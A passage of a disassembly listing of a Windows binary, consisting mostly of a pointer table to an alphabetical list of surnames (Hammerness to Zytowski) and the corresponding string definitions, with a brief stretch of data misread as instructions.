dd offset aHammerness ; "Hammerness" dd offset aHand ; "Hand" dd offset aHanssen ; "Hanssen" dd offset aHarding ; "Harding" dd offset aHargraves ; "Hargraves" dd offset aHarlow ; "Harlow" dd offset aHarrigan ; "Harrigan" dd offset aHartman ; "Hartman" dd offset aHartmann ; "Hartmann" dd offset aHartnett ; "Hartnett" dd offset aHarwell ; "Harwell" dd offset aHaviaras ; "Haviaras" dd offset aHawkes ; "Hawkes" dd offset aHayes ; "Hayes" dd offset aHaynes ; "Haynes" dd offset aHazlewood ; "Hazlewood" dd offset aHeermans ; "Heermans" dd offset aHeft ; "Heft" dd offset aHeiland ; "Heiland" dd offset aHellman ; "Hellman" dd offset aHellmiss ; "Hellmiss" dd offset aHelprin ; "Helprin" dd offset aHemphill ; "Hemphill" dd offset aHenery ; "Henery" dd offset aHenrichs ; "Henrichs" dd offset aHernandez ; "Hernandez" dd offset aHerrera ; "Herrera" dd offset aHester ; "Hester" dd offset aHeubert ; "Heubert" dd offset aHeyeck ; "Heyeck" dd offset aHimmelfarb ; "Himmelfarb" dd offset aHind ; "Hind" dd offset aHirst ; "Hirst" dd offset aHitchcock ; "Hitchcock" dd offset aHoang ; "Hoang" dd offset aHock ; "Hock" dd offset aHoffer ; "Hoffer" dd offset aHoffman ; "Hoffman" dd offset aHokanson ; "Hokanson" dd offset aHokoda ; "Hokoda" dd offset aHolmes ; "Holmes" dd offset aHoloien ; "Holoien" dd offset aHolter ; "Holter" dd offset aHolway ; "Holway" dd offset aHolzman ; "Holzman" dd offset aHooker ; "Hooker" dd offset aHopkins ; "Hopkins" dd offset aHorsley ; "Horsley" dd offset aHoshida ; "Hoshida" dd offset aHostage ; "Hostage" dd offset aHottle ; "Hottle" dd offset aHoward ; "Howard" dd offset aHoy ; "Hoy" dd offset aHuey ; "Huey" dd offset aHuidekoper ; "Huidekoper" dd offset aHungerford ; "Hungerford" dd offset aHuntington ; "Huntington" dd offset aHupp ; "Hupp" dd offset aHurtubise ; "Hurtubise" dd offset aHutchings ; "Hutchings" dd offset aHyde ; "Hyde" dd offset aIaquinta ; "Iaquinta" dd offset aIchikawa ; "Ichikawa" dd offset aIgarashi ; "Igarashi" dd offset aInamura ; "Inamura" dd offset aInniss ; "Inniss" dd offset aIsaac ; "Isaac" dd offset aIsaievych ; "Isaievych" dd offset aIsbill ; "Isbill" dd offset aIsserman ; "Isserman" dd offset aIyer ; "Iyer" dd offset aJacenko ; "Jacenko" dd offset aJackson ; "Jackson" dd offset aJagers ; "Jagers" dd offset aJagger ; "Jagger" dd offset aJagoe ; "Jagoe" dd offset aJain ; "Jain" dd offset aJamil ; "Jamil" dd offset aJanjigian ; "Janjigian" dd offset aJarnagin ; "Jarnagin" dd offset aJarrell ; "Jarrell" dd offset aJay ; "Jay" dd offset aJeffers ; "Jeffers" dd offset aJellis ; "Jellis" dd offset aJenkins ; "Jenkins" dd offset aJespersen ; "Jespersen" dd offset aJewett ; "Jewett" dd offset aJohannesson ; "Johannesson" dd offset aJohannsen ; "Johannsen" dd offset aJohns ; "Johns" dd offset aJolly ; "Jolly" dd offset aJorgensen ; "Jorgensen" dd offset aJucks ; "Jucks" dd offset aJuliano ; "Juliano" dd offset aJulious ; "Julious" dd offset aKabbash ; "Kabbash" dd offset aKaboolian ; "Kaboolian" dd offset aKafadar ; "Kafadar" dd offset aKalbfleisch ; "Kalbfleisch" dd offset aKaligian ; "Kaligian" dd offset aKalil ; "Kalil" dd offset aKalinowski ; "Kalinowski" dd offset aKalman ; "Kalman" dd offset aKamel ; "Kamel" dd offset aKangis ; "Kangis" dd offset aKarpouzes ; "Karpouzes" dd offset aKassower ; "Kassower" dd offset aKasten ; "Kasten" dd offset aKawachi ; "Kawachi" dd offset aKee ; "Kee" dd offset aKeenan ; "Keenan" dd offset aKeepper ; "Keepper" dd offset aKeith ; "Keith" dd offset aKelker ; "Kelker" dd offset aKelsey ; "Kelsey" dd offset aKempton ; "Kempton" dd offset aKemsley ; "Kemsley" dd offset aKendall ; "Kendall" dd offset aKerry ; "Kerry" dd offset aKeul ; "Keul" dd offset aKhong ; "Khong" dd offset aKimmel ; "Kimmel" dd offset aKimmett ; "Kimmett" dd offset aKimura ; "Kimura" dd offset aKindall ; "Kindall" dd offset aKinsley ; "Kinsley" dd offset aKippenberger ; "Kippenberger" dd offset aKirscht ; "Kirscht" dd offset aKittridge ; "Kittridge" dd offset aKleckner ; "Kleckner" dd offset aKleiman ; "Kleiman" dd offset aKleinfelder ; "Kleinfelder" dd offset aKlemperer ; "Klemperer" dd offset aKling ; "Kling" dd offset aKlinkenborg ; "Klinkenborg" dd offset aKlint ; "Klint" dd offset aKnuff ; "Knuff" dd offset aKobrick ; "Kobrick" dd offset aKoch ; "Koch" dd offset aKohn ; "Kohn" dd offset aKoivumaki ; "Koivumaki" dd offset aKommer ; "Kommer" dd offset aKoniaris ; "Koniaris" dd offset aKonrad ; "Konrad" dd offset aKool ; "Kool" dd offset aKorzybski ; "Korzybski" dd offset aKotter ; "Kotter" dd offset aKovaks ; "Kovaks" dd offset aKraemer ; "Kraemer" dd offset aKrailo ; "Krailo" dd offset aKrasney ; "Krasney" dd offset aKraus ; "Kraus" dd offset aKroemer ; "Kroemer" dd offset aKrysiak ; "Krysiak" dd offset aKuenzli ; "Kuenzli" dd offset aKumar ; "Kumar" dd offset aKusman ; "Kusman" dd offset aKuwabara ; "Kuwabara" dd offset aLa ; "La" dd offset aLabunka ; "Labunka" dd offset aLafler ; "Lafler" dd offset aLaing ; "Laing" dd offset aLallemant ; "Lallemant" dd offset aLandes ; "Landes" dd offset aLankes ; "Lankes" dd offset aLantieri ; "Lantieri" dd offset aLanzit ; "Lanzit" dd offset aLaserna ; "Laserna" dd offset aLashley ; "Lashley" dd offset aLawless ; "Lawless" dd offset aLecar ; "Lecar" dd offset aLecce ; "Lecce" dd offset aLeclercq ; "Leclercq" dd offset aLeite ; "Leite" dd offset aLenard ; "Lenard" dd offset aLEnclos ; "l'Enclos" dd offset aLesser ; "Lesser" dd offset aLessi ; "Lessi" dd offset aLiakos ; "Liakos" dd offset aLidano ; "Lidano" dd offset aLiem ; "Liem" dd offset aLight ; "Light" dd offset aLightfoot ; "Lightfoot" dd offset aLim ; "Lim" dd offset aLinares ; "Linares" dd offset aLinda ; "Linda" dd offset aLinder ; "Linder" dd offset aLine ; "Line" dd offset aLinehan ; "Linehan" dd offset aLinzee ; "Linzee" dd offset aLippmann ; "Lippmann" dd offset aLipponen ; "Lipponen" dd offset aLittle ; "Little" dd offset aLitvak ; "Litvak" dd offset aLivernash ; "Livernash" dd offset aLivi ; "Livi" dd offset aLivolsi ; "Livolsi" dd offset aLizardo ; "Lizardo" dd offset aLocatelli ; "Locatelli" dd offset aLongworth ; "Longworth" dd offset aLoss ; "Loss" dd offset aLoveman ; "Loveman" dd offset aLowenstein ; "Lowenstein" dd offset aLoza ; "Loza" dd offset aLubin ; "Lubin" dd offset aLucas ; "Lucas" dd offset aLuciano ; "Luciano" dd offset aLuczkow ; "Luczkow" dd offset aLuecke ; "Luecke" dd offset aLunetta ; "Lunetta" dd offset aLuoma ; "Luoma" dd offset aLussier ; "Lussier" dd offset aLutcavage ; "Lutcavage" dd offset aLuzader ; "Luzader" dd offset aMa ; "Ma" dd offset aMaccormac ; "Maccormac" dd offset aMacdonald ; "Macdonald" dd offset aMaceachern ; "Maceachern" dd offset aMacintyre ; "Macintyre" dd offset aMackenney ; "Mackenney" dd offset aMacmillan ; "MacMillan" dd offset aMacy ; "Macy" dd offset aMadigan ; "Madigan" dd offset aMaggio ; "Maggio" dd offset aMahony ; "Mahony" dd offset aMaier ; "Maier" dd offset aMaineHershey ; "Maine-Hershey" dd offset aMaisano ; "Maisano" dd offset aMalatesta ; "Malatesta" dd offset aMaller ; "Maller" dd offset aMalova ; "Malova" dd offset aManalis ; "Manalis" dd offset aMandel ; "Mandel" dd offset aManganiello ; "Manganiello" dd offset aMantovan ; "Mantovan" dd offset aMarch ; "March" dd offset aMarchbanks ; "Marchbanks" dd offset aMarcus ; "Marcus" dd offset aMargalit ; "Margalit" dd offset aMargetts ; "Margetts" dd offset aMarques ; "Marques" dd offset aMartinez ; "Martinez" dd offset aMartochio ; "Martochio" dd offset aMarton ; "Marton" dd offset aMarubini ; "Marubini" dd offset aMass ; "Mass" dd offset aMatalka ; "Matalka" dd offset aMatarazzo ; "Matarazzo" dd offset aMatsukata ; "Matsukata" dd offset aMattson ; "Mattson" dd offset aMauzy ; "Mauzy" dd offset aMay ; "May" dd offset aMazzali ; "Mazzali" dd offset aMazziotta ; "Mazziotta" dd offset aMcbride ; "Mcbride" dd offset aMccaffery ; "Mccaffery" dd offset aMccall ; "Mccall" dd offset aMcclearn ; "Mcclearn" dd offset aMcdowell ; "Mcdowell" dd offset aMcelroy ; "Mcelroy" dd offset aMcfadden ; "McFadden" dd offset aMcghee ; "Mcghee" dd offset aMcgoldrick ; "Mcgoldrick" dd offset aMcilroy ; "McIlroy" dd offset aMcintosh ; "Mcintosh" dd offset aMckenna ; "Mckenna" dd offset aMclane ; "Mclane" dd offset aMclaren ; "Mclaren" dd offset aMcnealy ; "Mcnealy" dd offset aMcnulty ; "Mcnulty" dd offset aMeccariello ; "Meccariello" dd offset aMemisoglu ; "Memisoglu" dd offset aMenzies ; "Menzies" dd offset aMerikoski ; "Merikoski" dd offset aMerlani ; "Merlani" dd offset aMerminod ; "Merminod" dd offset aMerseth ; "Merseth" dd offset aMerz ; "Merz" dd offset aMetelka ; "Metelka" dd offset aMetropolis ; "Metropolis" dd offset aMeurer ; "Meurer" dd offset aMichelman ; "Michelman" dd offset aMiddle ; "Middle" dd offset aMieher ; "Mieher" dd offset aMills ; "Mills" dd offset aMinh ; "Minh" dd offset aMini ; "Mini" dd offset aMinichiello ; "Minichiello" dd offset aGonzalez ; "Gonzalez" dd offset aMitropoulos ; "Mitropoulos" dd offset aMittal ; "Mittal" dd offset aMocroft ; "Mocroft" dd offset aModestino ; "Modestino" dd offset aMoeller ; "Moeller" dd offset aMohr ; "Mohr" dd offset aMoiamedi ; "Moiamedi" dd offset aMonque ; "Monque" dd offset aMontilio ; "Montilio" dd offset aMooredech_ ; "MooreDeCh." dd offset aMorani ; "Morani" dd offset aMoreton ; "Moreton" dd offset aMorrison ; "Morrison" dd offset aMorrow ; "Morrow" dd offset aMortimer ; "Mortimer" dd offset aMosher ; "Mosher" dd offset aMosler ; "Mosler" dd offset aMostafavi ; "Mostafavi" dd offset aMotooka ; "Motooka" dd offset aMudarri ; "Mudarri" dd offset aMuello ; "Muello" dd offset aMugnai ; "Mugnai" dd offset aMulkern ; "Mulkern" dd offset aMulroy ; "Mulroy" dd offset aMumford ; "Mumford" dd offset aMussachio ; "Mussachio" dd offset aNaddeo ; "Naddeo" dd offset aNapolitano ; "Napolitano" dd offset aNardi ; "Nardi" dd offset aNardone ; "Nardone" dd offset aNaviaux ; "Naviaux" dd offset aNayduch ; "Nayduch" dd offset aNelson ; "Nelson" dd offset aNenna ; "Nenna" dd offset aNesci ; "Nesci" dd offset aNeuman ; "Neuman" dd offset aNewfeld ; "Newfeld" dd offset aNewlin ; "Newlin" dd offset aNg ; "Ng" dd offset aNi_0 ; "Ni" dd offset aNickerson ; "Nickerson" dd offset aNickoloff ; "Nickoloff" dd offset aNisenson ; "Nisenson" dd offset aNitabach ; "Nitabach" dd offset aNotman ; "Notman" dd offset aNuzum ; "Nuzum" dd offset aOcougne ; "Ocougne" dd offset aOgata ; "Ogata" dd offset aOh ; "Oh" dd offset aOHagan ; "O'hagan" dd offset aOldford ; "Oldford" dd offset aOlsen ; "Olsen" dd offset aOlson ; "Olson" dd offset aOlszewski ; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" ; --------------------------------------------------------------------------- fsubr st, st(3) inc edx add al, dl jmp short loc_42E6E1 ; --------------------------------------------------------------------------- align 10h enter 42EBh, 0 shr bl, 42h add [eax-53FFBD15h], bh jmp short loc_42E6F1 ; --------------------------------------------------------------------------- align 10h mov al, ds:980042EBh loc_42E6B5: ; CODE XREF: ___:0042E6C8j jmp short loc_42E6F9 ; --------------------------------------------------------------------------- align 4 dd offset aTudge ; "Tudge" ; --------------------------------------------------------------------------- mov bl, ch inc edx add [eax+780042EBh], al jmp short loc_42E709 ; --------------------------------------------------------------------------- align 4 jo short loc_42E6B5 inc edx add [eax-15h], ch inc edx add [ebx+ebp*8+42h], bl add [ebx+ebp*8+42h], dl add [eax-15h], cl inc edx add [eax-15h], al inc edx add [eax], bh loc_42E6E1: ; CODE XREF: ___:0042E69Dj jmp short loc_42E725 ; --------------------------------------------------------------------------- align 4 sub bl, ch inc edx add [eax], ah jmp short loc_42E72D ; --------------------------------------------------------------------------- align 4 sbb bl, ch inc edx add [eax], dl loc_42E6F1: ; CODE XREF: ___:0042E6ADj jmp short loc_42E735 ; --------------------------------------------------------------------------- align 4 dd offset aWaite ; "Waite" db 0 ; --------------------------------------------------------------------------- loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j jmp short loc_42E73D ; --------------------------------------------------------------------------- align 4 dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" db 0D8h ; --------------------------------------------------------------------------- loc_42E709: ; CODE XREF: ___:0042E6C5j jmp far ptr 42h:0EACC0042h ; --------------------------------------------------------------------------- dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" db 88h ; --------------------------------------------------------------------------- loc_42E725: ; CODE XREF: ___:loc_42E6E1j jmp far ptr 42h:0EA800042h ; --------------------------------------------------------------------------- db 74h ; --------------------------------------------------------------------------- loc_42E72D: ; CODE XREF: ___:0042E6E9j jmp far ptr 42h:0EA680042h ; --------------------------------------------------------------------------- pop esp loc_42E735: ; CODE XREF: ___:loc_42E6F1j jmp far ptr 42h:0EA500042h ; --------------------------------------------------------------------------- db 44h ; --------------------------------------------------------------------------- loc_42E73D: ; CODE XREF: ___:loc_42E6F9j jmp far ptr 42h:0EA380042h ; --------------------------------------------------------------------------- dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042E830o align 10h aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042E82Co align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042E828o align 10h aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042E824o aZoldak db 'Zoldak',0 ; DATA XREF: ___:0042E820o align 10h aZerbini db 'Zerbini',0 ; DATA XREF: ___:0042E81Co aZegans db 'Zegans',0 ; DATA XREF: ___:0042E818o align 10h aZangwill db 'Zangwill',0 ; DATA XREF: ___:0042E814o align 4 aZahedi db 'Zahedi',0 ; DATA XREF: ___:0042E810o align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042E80Co aYu db 'Yu',0 ; DATA XREF: ___:0042E808o align 10h aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042E804o align 4 aYoo db 'Yoo',0 ; DATA XREF: ___:0042E800o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042E7FCo align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042E7F8o align 10h aYesson db 'Yesson',0 ; DATA XREF: ___:0042E7F4o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042E7F0o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042E7ECo align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042E7E8o align 10h aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042E7E4o aYankee db 'Yankee',0 ; DATA XREF: ___:0042E7E0o align 10h aYamane db 'Yamane',0 ; DATA XREF: ___:0042E7DCo align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042E7D8o align 10h aVotey db 'Votey',0 ; DATA XREF: ___:0042E7D4o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042E7D0o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042E7CCo align 10h aWoods db 'Woods',0 ; DATA XREF: ___:0042E7C8o align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042E7C4o align 10h aWoo db 'Woo',0 ; DATA XREF: ___:0042E7C0o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042E7BCo align 10h aWolk db 'Wolk',0 ; DATA XREF: ___:0042E7B8o align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042E7B4o align 10h aViviani db 'Viviani',0 ; DATA XREF: ___:0042E7B0o aVitali db 'Vitali',0 ; DATA XREF: ___:0042E7ACo align 10h aWilson db 'Wilson',0 ; DATA XREF: ___:0042E7A8o align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042E7A4o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042E7A0o align 10h aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042E79Co align 4 aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042E798o align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042E794o align 4 aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042E790o aWilder db 'Wilder',0 ; DATA XREF: ___:0042E78Co align 4 aVignola db 'Vignola',0 ; DATA XREF: ___:0042E788o aViens db 'Viens',0 ; DATA XREF: ___:0042E784o align 4 aWiener db 'Wiener',0 ; DATA XREF: ___:0042E780o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042E77Co aViano db 'Viano',0 ; DATA XREF: ___:0042E778o align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042E774o align 10h aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042E770o align 4 aWhitla db 'Whitla',0 ; DATA XREF: ___:0042E76Co align 4 aWhite db 'White',0 ; DATA XREF: ___:0042E768o align 4 aWhilton db 'Whilton',0 ; DATA XREF: ___:0042E764o aWhately db 'Whately',0 ; DATA XREF: ___:0042E760o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042E75Co align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042E758o aVerghese db 'Verghese',0 ; DATA XREF: ___:0042E754o align 4 aVenne db 